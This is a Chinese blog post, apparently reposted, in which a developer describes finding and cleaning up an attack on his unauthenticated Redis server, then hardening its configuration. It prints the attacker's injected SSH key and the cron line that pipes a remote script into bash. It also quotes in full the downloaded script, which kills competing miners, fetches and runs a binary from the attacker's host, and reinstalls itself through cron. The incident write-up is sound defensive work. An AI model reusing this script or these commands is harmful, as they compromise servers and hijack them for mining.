欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

linux服务器安全—— 一次redis攻击的遭遇

程序员文章站 2022-06-17 09:29:31
...

笔者在写这篇文章的时候,个人的服务器正在遭受攻击,为了避免更多的人被坑,笔者淡定地边处理边写下这篇博客,希望可以帮助到大家!

 

环境:

ubuntu16.04.1 云服务器

redis

部署于tomcat上的个人应用

 

背景:

查看服务器状态时,发现redis用户的cpu使用率过高,打开redis日志,发现大量如下信息:

[10167] 04 Feb 19:05:20.065 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:20.066 * Background saving started by pid 21837

[21837] 04 Feb 19:05:20.069 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:20.166 # Background saving error

[10167] 04 Feb 19:05:26.076 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:26.077 * Background saving started by pid 21855

[21855] 04 Feb 19:05:26.081 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:26.177 # Background saving error

[10167] 04 Feb 19:05:32.086 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:32.087 * Background saving started by pid 21862

[21862] 04 Feb 19:05:32.089 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:32.187 # Background saving error

[10167] 04 Feb 19:05:38.102 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:38.103 * Background saving started by pid 21864

[21864] 04 Feb 19:05:38.105 # Failed opening .rdb for saving: Permission denied

 

很明显,日志中显示redis存储于内存中的数据无法同步到文件系统中,原因是权限不够。

 

处理过程:

  1.  打开redis客户端,发现redis中被存入了两个莫名其妙的东西,key值分别为crackit和gfpyskqrma,我很确定自己的程序不会向redis中存入这两个东西。
    admin@VM-202-164-ubuntu:/$ /servers/redis-2.8.19/src/redis-cli  -p 6379
    127.0.0.1:6379> keys *
    1) "crackit"
    2) "gfpyskqrma"
     
  2. 查看这两个都存的什么东西:
    127.0.0.1:6379> get crackit
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n"
    127.0.0.1:6379> get gfpyskqrma
    "\n\n* 10 * * * curl http://45.123.190.144:8080/lin.txt?redis | bash \n\n"
    
     妥了,现在百分百确定服务器遭到了攻击。crackit存的是一个ssh公钥,gfpyskqrma存储的是一个cron定时任务。
  3. 看到这我就气急败坏了,连我吃泡面省钱买的云服务都不放过!不管三七二十一了,先一顿喷再说,直接在这两个key的值中喷他,也不管攻击者能不能看到啦,由于不清楚他是哪国的,中文英文拼音都用上一遍。哼!
  4. 好了,进入正题!现在研究一下他是怎么攻击的,打开redis config:
    127.0.0.1:6379> CONFIG GET *
      1) "dbfilename"
      2) "root"
      3) "requirepass"
      4) ""
      5) "masterauth"
      6) ""
      7) "unixsocket"
      8) ""
      9) "logfile"
     10) ""
     11) "pidfile"
     12) "/var/run/redis.pid"
     13) "maxmemory"
     14) "0"
     15) "maxmemory-samples"
     16) "3"
     17) "timeout"
     18) "0"
     19) "tcp-keepalive"
     20) "0"
     21) "auto-aof-rewrite-percentage"
     22) "100"
     23) "auto-aof-rewrite-min-size"
     24) "67108864"
     25) "hash-max-ziplist-entries"
     26) "512"
     27) "hash-max-ziplist-value"
     28) "64"
     29) "list-max-ziplist-entries"
     30) "512"
     31) "list-max-ziplist-value"
     32) "64"
     33) "set-max-intset-entries"
     34) "512"
     35) "zset-max-ziplist-entries"
     36) "128"
     37) "zset-max-ziplist-value"
     38) "64"
     39) "hll-sparse-max-bytes"
     40) "3000"
     41) "lua-time-limit"
     42) "5000"
     43) "slowlog-log-slower-than"
     44) "10000"
     45) "latency-monitor-threshold"
     46) "0"
     47) "slowlog-max-len"
     48) "128"
     49) "port"
     50) "6379"
     51) "tcp-backlog"
     52) "511"
     53) "databases"
     54) "16"
     55) "repl-ping-slave-period"
     56) "10"
     57) "repl-timeout"
     58) "60"
     59) "repl-backlog-size"
     60) "1048576"
     61) "repl-backlog-ttl"
     62) "3600"
     63) "maxclients"
     64) "10000"
     65) "watchdog-period"
     66) "0"
     67) "slave-priority"
     68) "100"
     69) "min-slaves-to-write"
     70) "0"
     71) "min-slaves-max-lag"
     72) "10"
     73) "hz"
     74) "10"
     75) "repl-diskless-sync-delay"
     76) "5"
     77) "no-appendfsync-on-rewrite"
     78) "no"
     79) "slave-serve-stale-data"
     80) "yes"
     81) "slave-read-only"
     82) "yes"
     83) "stop-writes-on-bgsave-error"
     84) "no"
     85) "daemonize"
     86) "no"
     87) "rdbcompression"
     88) "yes"
     89) "rdbchecksum"
     90) "yes"
     91) "activerehashing"
     92) "yes"
     93) "repl-disable-tcp-nodelay"
     94) "no"
     95) "repl-diskless-sync"
     96) "no"
     97) "aof-rewrite-incremental-fsync"
     98) "yes"
     99) "aof-load-truncated"
    100) "yes"
    101) "appendonly"
    102) "no"
    103) "dir"
    104) "/var/spool/cron"
    105) "maxmemory-policy"
    106) "volatile-lru"
    107) "appendfsync"
    108) "everysec"
    109) "save"
    110) "900 1 300 10 60 10000"
    111) "loglevel"
    112) "notice"
    113) "client-output-buffer-limit"
    114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
    115) "unixsocketperm"
    116) "0"
    117) "slaveof"
    118) ""
    119) "notify-keyspace-events"
    120) "gxE"
    121) "bind"
    122) "127.0.0.1 XXX.XXX.XXX.XXX"  #此处马赛克
    127.0.0.1:6379> 
     可以看到,攻击者修改了redis用于存储数据的rdb文件的文件名和路径,路径和文件拼凑到一起是/var/spool/cron/root。这是要改我root用户计划任务的节奏啊,还好我的redis不是使用root用户执行的(这就是redis日志中出现大量权限不足的原因),要不然攻击者已经得手了。想想就可怕,如果我的redis是使用root用户部署的,那攻击者岂不是为所欲为了。例如他如果把SSH公钥写到/root/.ssh中,就可以畅通无阻地登录我的服务器,或者他直接破坏掉我的/etc/passwd,那谁也别想登录了,只能刷系统了。没想到redis居然有这么大的漏洞。(通过redis的CONFIG SET dir /tmp/ 命令就可以直接动态设置存储路径了,其他参数的设置也一样) 
  5. 还没完。现在看一下他的定时脚本里边都是什么内容,直接浏览器打开http://45.123.190.144:8080/lin.txt?redis ,以下就是他的shell代码:
    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    
    HOST=45.123.190.144:8080
    CALLBACK=$HOST
    
    DOWNLOADER="curl "
    #DOWNLOADER="wget -q -O - "
    
    LFILE_NAME="BoomBoom"
    # LFILE_PATH=`pwd`/$LFILE_NAME
    LFILE_PATH=/tmp/$LFILE_NAME
    
    DEFAULT_RFILE=$HOST/BoomBoom
    OTHERS_RFILE=$HOST/BoomBoom2
    
    CLEAN ()
    {
      grep -q -F '* soft memlock 262144' /etc/security/limits.conf || echo '* soft memlock 262144' >> /etc/security/limits.conf
        grep -q -F '* hard memlock 262144' /etc/security/limits.conf || echo '* hard memlock 262144' >> /etc/security/limits.conf
        grep -q -F 'vm.nr_hugepages = 256' /etc/sysctl.conf || echo 'vm.nr_hugepages = 256' >> /etc/sysctl.conf
        sysctl -w vm.nr_hugepages=256
    
      RMLIST=(/tmp/*index_bak* /tmp/*httpd.conf* /tmp/*httpd.conf /tmp/a7b104c270 /tmp/Carbon)
      KILIST=(crobon sb1 wipefs AnXqV.yam zhuabcn@yahoo.com monerohash.com /tmp/a7b104c270 stratum.f2pool.com:8888 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8 46SDR76rJ2J6MtmP3ZZKi9cEA5RQCrYgag7La3CxEootQeAQULPE2CHJQ4MRZ5wZ1T73Kw6Kx4Lai2dFLAacjerbPzb5Ufg 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe xmrpool.eu mine.moneropool.com xmr.crypto-pool.fr:8080 xmr.crypto-pool.fr:3333 xmr.crypto-pool.fr:6666 xmr.crypto-pool.fr:7777 xmr.crypto-pool.fr:443)
      for item in ${RMLIST[@]}
      do
          rm -rf $item
      done
      for item in ${KILIST[@]}
      do
          ps auxf|grep -v grep|grep $item|awk '{print $2}'|xargs kill -9
      done
      days=$(($(date +%s) / 60 / 60 / 24))
      ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "45cToD1FzkjAxHRBhYKKLg5utMGENqyamWrY8nLNkVQ4hJgLHex1KNRZcz4finRjMpAYmPxDaXVpN2rV1jMNyXRdMEaH1YA"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "Silence"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "45hsTaSqTQM4K1Xeqkcy7eLzqdEuQ594fJVmQryCemQSCU878JGQdSDCxbhNyVjSkiaYat8yAfBuRTPSEUPZoARm9a5XEHZ"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "t.sh"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "wipefs"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "carbon"|awk '{print $2}'|xargs kill -9
      pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4
      pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB
      pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df
      pkill -f cpuloadtest
      pkill -f crypto-pool
      pkill -f xmr
      pkill -f prohash
      pkill -f monero
      pkill -f miner
      pkill -f nanopool
      pkill -f minergate
      pkill -f yam
      pkill -f Silence
      pkill -f yam2
      pkill -f minerd
      pkill -f Circle_MI.png
      pkill -f curl
      ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "11231"|awk '{print $2}'|xargs kill -9
      pkill -f biosetjenkins
      ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
      ps ax|grep -o './[0-9]* -c'| xargs pkill -f
      pkill -f Loopback
      pkill -f apaceha
      pkill -f cryptonight
      ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
      ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
      pkill -f 45.76.102.45
      pkill -f stratum
      pkill -f mixnerdx
      pkill -f performedl
      pkill -f sleep
      pkill -f JnKihGjn
      pkill -f irqba2anc1
      pkill -f irqba5xnc1
      pkill -f irqbnc1
      pkill -f ir29xc1
      pkill -f conns
      pkill -f irqbalance
      pkill -f crypto-pool
      pkill -f minexmr
      pkill -f XJnRj
      pkill -f NXLAi
      pkill -f BI5zj
      pkill -f askdljlqw
      pkill -f minerd
      pkill -f minergate
      pkill -f Guard.sh
      pkill -f ysaydh
      pkill -f bonns
      pkill -f donns
      pkill -f kxjd
      pkill -f 108.61.186.224
      pkill -f Duck.sh
      pkill -f bonn.sh
      pkill -f conn.sh
      pkill -f kworker34
      pkill -f kw.sh
      pkill -f pro.sh
      pkill -f polkitd
      pkill -f acpid
      pkill -f icb5o
      pkill -f nopxi
      ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
      pkill -f 45.76.146.166
      pkill -f irqbalanc1
      pkill -f 188.120.247.175
      rm -rf /tmp/httpd.conf
      rm -rf /tmp/conn
      rm -rf /tmp/conns
      rm -f /tmp/irq.sh
      rm -f /tmp/irqbalanc1
      rm -f /tmp/irq
    }
    
    DEFAULT ()
    {
      $DOWNLOADER $DEFAULT_RFILE > $LFILE_PATH
      chmod +x $LFILE_PATH
      ps -ef|grep $LFILE_NAME|grep -v grep
      if [ $? -ne 0 ]; then
        $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l60"
      else
        $DOWNLOADER "${CALLBACK}/?info=l69"
      fi
    }
    
    OTHERS ()
    {
      $DOWNLOADER $OTHERS_RFILE > $LFILE_PATH
      chmod +x $LFILE_PATH
      ps -ef|grep $LFILE_NAME|grep -v grep
      if [ $? -ne 0 ]; then
        $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l30"
      else
        $DOWNLOADER "${CALLBACK}/?info=l39"
      fi
    }
    
    CRON () {
      if [ -x /usr/bin/wget ] ; then
            echo '*/8 * * * * wget -q -O - $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
        elif [ -x /usr/bin/curl ] ; then
            echo '*/8 * * * * curl $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
        else
            exit 0;
        fi
        crontab -r
        crontab /tmp/.$LFILE_NAME.cron
        rm /tmp/.$LFILE_NAME.cron
    }
    
    INIT () {
    	echo 128 > /proc/sys/vm/nr_hugepages
    	sysctl -w vm.nr_hugepages=128
    }
    
    
    
    KILL () {
      ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
      do
        kill -9 $procid
      done
    }
    
    CLEAN
    KILL
    INIT
    if [ $(getconf WORD_BIT) = '32' ] && [ $(getconf LONG_BIT) = '64' ] ; then
        DEFAULT
    else
        OTHERS
    fi
    # CRON
    crontab -r
    
    
     等一下再看这个浑蛋做了什么,当务之急是解决redis的问题,切断他的攻击渠道。
  6. 先关掉redis吧
    dmin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
    admin    10167  0.0  1.3  38300 12136 ?        Sl   Feb03   1:27 /servers/redis-2.8.19/src/redis-server 127.0.0.1:6379
    admin@VM-202-164-ubuntu:~$ kill -9 10167
    admin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
    admin@VM-202-164-ubuntu:~$ 
     进入redis目录,修改redis配置文件。
    admin@VM-202-164-ubuntu:~/redis-2.8.19$ vi redis.conf
     先修改一下bind:(说明一下:修改之前我是这样配置的bind 127.0.0.1 XXX.XXX.XXX.XXX,其中xxx是腾讯云服务器的内网ip,所以我没理解错的话,攻击者是使用腾讯云内网ip登录我的redis服务的。也就是说攻击者使用的也是腾讯云服务器)
    # Examples:
    #
    # bind 127.0.0.1 XXX.XXX.XXX.XXX
    bind 127.0.0.1 
     再改下端口吧,不要用默认的了:
    # Accept connections on the specified port, default is 6379.
    # If port 0 is specified Redis will not listen on a TCP socket.
    port 6970
     禁用掉CONFIG和EVAL命令:
    # Example:
    #
    # rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
    #
    # It is also possible to completely kill a command by renaming it into
    # an empty string:
    #
    rename-command CONFIG ""
    rename-command EVAL ""
     还有最关键的,设置一个密码:
    # Warning: since Redis is pretty fast an outside user can try up to
    # 150k passwords per second against a good box. This means that you should
    # use a very strong password otherwise it will be very easy to break.
    #
    requirepass 2wsx!QAZ
     启动redis吧,现在应该足够安全了吧:
    admin@VM-202-164-ubuntu:~/redis-2.8.19$ /servers/redis-2.8.19/src/redis-cli  -p 6970 -a '2wsx!QAZ'
     启动客户端别忘记加上密码。最后就是修改应用程序中的redis端口和密码了。如果想要在其他服务器上也能访问到redis服务,那就只能bind上内网ip了,但是推荐使用iptables创建防火墙规则。
  7. 一定不要使用root部署redis,太可怕了。
  8. 现在redis基本安全了,不用担心再次受到攻击了,但是还要检查一下服务器,看看那个攻击者有没有留下什么东西,清理一下。
    admin@VM-202-164-ubuntu:~$ cd .ssh
    -bash: cd: .ssh: No such file or directory
    admin@VM-202-164-ubuntu:~$ crontab -l
    no crontab for admin
    admin@VM-202-164-ubuntu:~$ 
     
    admin@VM-202-164-ubuntu:/var/spool/cron$ ls -lrta
    total 20
    drwxrwx--T 2 daemon daemon  4096 Jan 15  2016 atspool
    drwxr-xr-x 4 root   root    4096 Oct 26  2016 ..
    drwxr-xr-x 5 root   root    4096 Oct 26  2016 .
    drwxrwx--T 2 daemon daemon  4096 Oct 26  2016 atjobs
    drwx-wx--T 2 root   crontab 4096 Feb  4 18:51 crontabs
    admin@VM-202-164-ubuntu:/var/spool/cron$ cd crontabs
    -bash: cd: crontabs: Permission denied
     攻击者并没有将SSH公钥写入当前用户,crontabs权限正常,是安全的,看来他直接是奔着root去的,并没有得手。如此看来,这应该是一个攻击脚本了,那看来我喷他他是看不到了,唉!
  9. 最后看一下那个脚本都想要干什么吧:

     先是清了一下相关进程和临时文件->>杀掉了cpu占用大于20%的进程->>设置了一下nr_hugepages->>在他的服务器(45.123.190.144:8080/BoomBoom)上下载一个BoomBoom->>BoomBoom添加可执行权限。好吧,不明觉厉,下载了BoomBoom看看,2.17M的一个东西,不知道是什么。

好吧,先这样吧!希望可以帮到大家,希望各位大神们帮我研究一下BoomBoom是干什么用的!